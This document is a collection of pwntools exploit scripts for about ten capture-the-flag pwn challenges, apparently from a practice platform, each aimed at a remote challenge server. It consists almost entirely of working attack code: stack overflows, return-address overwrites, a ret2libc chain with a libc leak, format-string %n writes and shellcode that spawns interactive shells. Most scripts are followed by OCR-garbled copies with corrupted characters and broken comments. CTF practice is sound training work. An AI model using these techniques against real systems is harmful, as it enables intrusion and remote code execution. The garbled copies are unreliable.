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when_did_you_born
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from pwn import *

r = remote("124.126.19.106",31534)
payload = 'a'* (0x20-0x18) +p64(1926)
r.recvuntil("What's Your Birth?\n")
r.sendline("2000")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)

print r.recv()

print r.recv()

from pwn import *

MEFF) IRSR(E) BV RW(S) HNT MENH)

r = remote("124.126.19. 106", 31534) i~ p Py

payload = 'a'* (Dx28-0x18) +p64(1926) [+] Opening ¢ te 124.126.19.186 on po
r.recvuntil{"What's Your Birth?\n") You Are Borm In 1926

r.sendline("2000%)

r.recvuntil{"what's Your Name?\n")

r.sendline{payload)
print r.recvi)
print r.recv()

hello_pwn
0x601068#: H14 bytes)r #i AaaunB i]
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from pwn import *

r = remote("124.126.19.106",56061)

payload = 'a'* 4+p32(0x6e756161)
r.recvuntil("lets get helloworld for bof")
r.sendline(payload)

print r.recv()

print r.recv()

from pWn 1Rport | XFF) WSR(E) W) EES) EiKT) MENH)
r = remote(*124.126.19.106",56061) oo i

payload = * 44p32{BnbeT56161) *+] Opendng <
r.recyuntil(“lets get 1loworld for bof
r.sendline{payload)
print r.recv{)
print r.recv{}

ection to 124.126.19.186 port S6861
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from pwn import *

r = remote("124.126.19.106",48024)
r.send('a'*0x88+p64(0x400596))
r.interactive()

from pwn import * HFF) WME) WE(V) RE(S) ST FEIH)
r = remote(*124.126.19.106% ,48024) :
r.send{'a’ *0x88+p64(0x400596) )
r.interactive()
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from pwn import *

p = remote('124.126.19.106','37679")

system = 0x8048320

bin_sh = 0x804A024

payload = 'a' * (0x88 + 0x04) + p32(system) + p32(@) + p32(bin_sh)
p.send(payload)

p.interactive()

roOTI@KaL: ~
from pwn import *
p = remotel’
System = @x8
bin sh = @i @
payload = "a' * [Bx88 + OxE
p.send(payload)

p.interactivel()
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guess_num
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from pwn import *
from ctypes import *
p=remote("124.126.19.106","58368")
payload="a"*0x20+p64(1)
p.recvuntil("name:")
p.sendline(payload)
for i in range(10):
num = str(cdll.LoadLibrary("/1ib/x86_64-1inux-gnu/libc.so0.6").rand()%6 + 1)
p.recvuntil("number:")
p.sendline(num)
p.interactive()
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p=remotel 6,15, 186", "5SE368")
payload="a"*dx20+pB4(1)
p.recvuntil{ .
p.sendline|payload)

for i in range(i8)

17creacebalTTE}

nmum = =tricdll.LoadLibrary( b/ uBG_G4
p.recvuntil{“number: ")
p.sendline(num}

p.interactive()

int_overflow
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from pwn import *
r = remote("124.126.19.106",59409)
return_address= 0x0804868B

r.sendlineafter(":", "1")

r.sendlineafter(":", "zzhwaxy")

r.recvuntil(":")

payload = "a" * @x18 + p32(return_address)+"a"*(256-0x18)
r.sendline(payload)

r.interactive()

rootigkal: ~
from pwn import * 1
r = remote("124, 12¢ :
return_address= Ox0804B6EE
r.sendlineafter(":",
r.sendlineafrer(":",
r.recvuntil( )
payload = “a* * @xl&

r.sendline (payload)
r.interactive()

cgpwn2
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from pwn import *

r = remote('124.126.19.106"',59666)

target = Ox804855A

binsh = 0x804A080

payload = 'a'*@x26+'bbbb'+p32(target) +p32(binsh)
a = r.recvuntil('e\n")

r.sendline('/bin/sh")

a = r.recvuntil(':\n")

r.sendline(payload)

r.interactive()

AL Rl e root@kali: ~
f:f;aa“i: D S DaueE) BiS) T MEEH)
:
target = @ 5
binsh = DxB04A0E [
payload = 'a'*Bx26+ ' bbbb'+p32(target) +p32(bil

r
a
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o

= r.recvuntil('e )
.sendline(" st h')
= r.recvuntil( ]
.sendline{payload)
.interactive()
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level3

from pwn import *

HREUE TR TR R
p=remote('111.198.29.45"',41496)
#IREUA M HEFEXS Gi#tp = process("./level3/level3")
HRBUOLAE R 5
elf=ELF('./level3/level3")
#RILibEXT %

libc = ELF('./level3/libc_32.s0.6")
HIR B B

write plt=elf.plt['write']

write got=elf.got['write']
main_addr=elf.sym[ 'main’]

#HEWHRE

p.recvuntil(":\n")

#char[88] ebp write#uhiit writeEEFOREHNE(GREIZImainE$) write@#HSH—(1) writeRFSH = (write_gotihht

payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)

#IRBwritefEgot H kbt

write_got_addr=u32(p.recv())print hex(write_got_addr)

#HE1ibEEmE AL

libc_base=write_got_addr-libc.sym['write']print hex(libc_base)

#i+ & system it

system_addr = libc_base+libc.sym['system']print hex(system_addr)

#HHEFRE /bin/sh Kbk, 0x15902b K fWEs, Bilr4: strings -a -t x libc_32.s0.6 | grep "/bin/sh" 3KEX
bin_sh_addr = libc_base + 0x15902bprint hex(bin_sh_addr)

#char[88] ebp system systemE#HHFREMIE systemBEISH (bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
#HEWEIRE

p.recvuntil(":\n")

# R i%payload

p.sendline(payload2)

#N B B

p.interactive()



get_shell
HEEZITE ]

from pwn import *

context.log _level = 'debug'

io = remote('124.126.19.106',45753)
io.sendline('cat flag')
io.interactive()
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rom pwn import *
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t ytes:

context.log level = 'debug’

io = remote('124.126.19, 106" ,45753)
io.sendline( 'c flag')
io.interactivel)
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string
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from pwn import *

p = remote("124.126.19.106"."59075")

context(arch="amdé4', os='linux', log_level='debug')
p.recvuntil('secret[0] is ')

v4_addr = int(p.recvuntil('\n')[:-1], 16)

p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(®)?:", '1")
p.sendlineafter("'Give me an address'", str(int(v4_addr)))
p.sendlineafter("And, you wish is:", '%85c%7$n')

shellcode = asm(shellcraft.sh())

p.sendlineafter("USE YOU SPELL", shellcode)
p.interactive()

from pwn import * MIEF) ERSH(E) MWV IEER(S) M) HENH)
p = remote{"124.126.19.106%,"53075") 1 T

context{arch= i64', os='linux", log lewvel

p.recwuntil (' secret e } [

v4_addr = int{p.recvuntili Jl:-11, 16)
p.sendlineafter{“what should ir ch
p.sendlineafter{" %o, Ere Yy ill g
p.sendlineafter{"go into there(l )
p.sendlineafter{® 'Give me an address
p.sendlineafter{“And, yr ish is
shellcode = asm{shellcraft.sh(})
p.sendlineafter{"USE YOU SPELL", shellcode) L3
p.interactive()



CGfsb
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from pwn import *

r = remote('124.126.19.106"',57188)
pwnme_addr = 0x0804A068

payload = p32(pwnme_addr) + 'aaaa' + '%10%$n’
r.recvuntil("please tell me your name:\n")
r.sendline('BurYiA')

r.recvuntil("leave your message please:\n")
r.sendline(payload)

r.interactive()

frompwn import *

r = remote('l24.126.19.186"' ,57188)
pwnme_addr = 0xB884ABG6E

payload = p32(pwnme_addr) + 'aaaa’ +
.recvuntil("pleas 1
.sendline('Bu
.recvuntil{"leave your me ge please:yn") LK
.sendline{payload)
.interactive()

e tell me your name:\n")
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